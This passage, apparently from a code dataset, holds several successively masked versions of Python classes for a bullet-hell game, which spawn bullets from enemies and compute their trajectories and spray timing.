self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n <function token>\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n <function token>\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n <function token>\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n <function token>\n <function token>\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n <function token>\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n <function token>\n <function token>\n <function token>\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n <function token>\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n <function token>\n <function token>\n\n def setRounds(self, rounds):\n self._rounds = rounds\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n\n\nclass BulletSpawnerTemplate(object):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n<class token>\n<class token>\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n <function token>\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= 